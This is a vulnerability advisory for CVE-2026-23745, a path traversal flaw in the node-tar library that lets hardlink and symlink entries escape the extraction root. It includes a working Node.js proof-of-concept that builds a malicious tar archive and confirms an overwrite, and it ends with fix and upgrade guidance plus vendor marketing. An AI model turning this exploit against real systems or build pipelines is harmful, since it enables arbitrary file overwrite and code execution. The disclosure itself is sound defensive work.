CVE-2026-23745

The node-tar library (<= 7.5.2) fails to sanitize the linkpath of Link (hardlink) and SymbolicLink entries when preservePaths is false (the default secure behavior). This allows malicious archives to bypass the extraction root restriction, leading to Arbitrary File Overwrite via hardlinks and Symlink Poisoning via absolute symlink targets.

Details

The vulnerability exists in src/unpack.ts within the [HARDLINK] and [SYMLINK] methods.

1. Hardlink Escape (Arbitrary File Overwrite)

The extraction logic uses path.resolve(this.cwd, entry.linkpath) to determine the hardlink target. Standard Node.js behavior dictates that if the second argument (entry.linkpath) is an absolute path, path.resolve ignores the first argument (this.cwd) entirely and returns the absolute path.

The library fails to validate that this resolved target remains within the extraction root. A malicious archive can create a hardlink to a sensitive file on the host (e.g., /etc/passwd) and subsequently write to it, if file permissions allow writing to the target file, bypassing path-based security measures that may be in place.

2. Symlink Poisoning

The extraction logic passes the user-supplied entry.linkpath directly to fs.symlink without validation. This allows the creation of symbolic links pointing to sensitive absolute system paths or traversing paths (../../), even when secure extraction defaults are used.

PoC

The following script generates a binary TAR archive containing malicious headers (a hardlink to a local file and a symlink to /etc/passwd). It then extracts the archive using standard node-tar settings and demonstrates the vulnerability by verifying that the local "secret" file was successfully overwritten.

const fs = require('fs')
const path = require('path')
const tar = require('tar')

const out = path.resolve('out_repro')
const secret = path.resolve('secret.txt')
const tarFile = path.resolve('exploit.tar')
const targetSym = '/etc/passwd'

// Cleanup & Setup
try { fs.rmSync(out, {recursive:true, force:true}); fs.unlinkSync(secret) } catch {}
fs.mkdirSync(out)
fs.writeFileSync(secret, 'ORIGINAL_DATA')

// 1. Craft malicious Link header (Hardlink to absolute local file)
const h1 = new tar.Header({
  path: 'exploit_hard',
  type: 'Link',
  size: 0,
  linkpath: secret 
})
h1.encode()

// 2. Craft malicious Symlink header (Symlink to /etc/passwd)
const h2 = new tar.Header({
  path: 'exploit_sym',
  type: 'SymbolicLink',
  size: 0,
  linkpath: targetSym 
})
h2.encode()

// Write binary tar
fs.writeFileSync(tarFile, Buffer.concat([ h1.block, h2.block, Buffer.alloc(1024) ]))

console.log('[*] Extracting malicious tarball...')

// 3. Extract with default secure settings
tar.x({
  cwd: out,
  file: tarFile,
  preservePaths: false
}).then(() => {
  console.log('[*] Verifying payload...')

  // Test Hardlink Overwrite
  try {
    fs.writeFileSync(path.join(out, 'exploit_hard'), 'OVERWRITTEN')
    
    if (fs.readFileSync(secret, 'utf8') === 'OVERWRITTEN') {
      console.log('[+] VULN CONFIRMED: Hardlink overwrite successful')
    } else {
      console.log('[-] Hardlink failed')
    }
  } catch (e) {}

  // Test Symlink Poisoning
  try {
    if (fs.readlinkSync(path.join(out, 'exploit_sym')) === targetSym) {
      console.log('[+] VULN CONFIRMED: Symlink points to absolute path')
    } else {
      console.log('[-] Symlink failed')
    }
  } catch (e) {}
})

• Arbitrary File Overwrite: An attacker can overwrite any file the extraction process has access to, bypassing path-based security restrictions. It does not grant write access to files that the extraction process does not otherwise have access to, such as root-owned configuration files.
• Remote Code Execution (RCE): In CI/CD environments or automated pipelines, overwriting configuration files, scripts, or binaries leads to code execution. (However, npm is unaffected, as it filters out all Link and SymbolicLink tar entries from extracted packages.)

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

Kodem intelligence

1. What is CVE-2026-23745? CVE-2026-23745 is a high-severity path traversal vulnerability in tar (npm), affecting versions <= 7.5.2. It is fixed in 7.5.3. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
2. Which versions of tar are affected by CVE-2026-23745? tar (npm) versions <= 7.5.2 is affected.
3. Is there a fix for CVE-2026-23745? Yes. CVE-2026-23745 is fixed in 7.5.3. Upgrade to this version or later.
4. Is CVE-2026-23745 exploitable, and should I be worried? Whether CVE-2026-23745 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
5. What actually determines whether CVE-2026-23745 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
6. How do I fix CVE-2026-23745? Upgrade tar to 7.5.3 or later.